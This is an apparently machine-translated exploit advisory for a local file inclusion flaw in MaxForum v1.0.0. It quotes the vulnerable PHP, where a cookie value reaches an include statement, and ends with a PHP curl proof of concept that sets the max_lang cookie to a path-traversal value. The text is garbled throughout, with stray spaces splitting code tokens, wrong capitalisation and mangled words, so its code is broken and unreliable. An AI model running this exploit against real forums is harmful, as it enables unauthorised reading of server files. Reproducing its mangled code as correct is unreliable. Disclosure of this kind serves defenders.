MaxForum v1.0.0 local File Inclusion Defects and repair

+ --------------------------------------- +
 
| MaxForum v1.0.0 Local File transfer sion |
 
+ --------------------------------------- +
 
Author ahwak2000 z. u5 [at] hotmail [dot] com
 
Http://www.max4dev.com/
 
Beta version 1.0
 
/MaxForum/schemdes/forums/warn_popup.php this file:
 

 
Line 100 if (isset ($ _ COOKIE ['max _ lang ']) & (! Isset ($ _ COOKIE ['max _ name']) {
 
Line 101 $ board_lang = escape_string ($ _ COOKIE ['max _ lang ']);
 
Line 102}
 
Line 103
 
Line 104 @ include ".../../language/$ board_lang ";
 
Line 105 @ include ".../../language/$ board_lang.php ";
 

/MaxForum/libs/php/functions. php file
 

 
Function escape_string ($ string ){
 

 
$ String = addslashes ($ string );
 

 
$ String = htmlspecialchars ($ string );
 
Return $ string;
 
}
 
Www.2cto.com
Test proof
 

 
<?
 
$ Url = "http: // www.2cto.com/MaxForum /";
 
$ Ch = curl_init ();
 
Curl_setopt ($ ch, CURLOPT_URL, $ url. "/schemdes/forums/warn_popup.php ");
 
Curl_setopt ($ ch, CURLOPT_COOKIE, "max_lang = ../gpl.txt"); // <--- edit
 
$ Buffer = curl_exec ($ ch );
 
?>
 

 
# End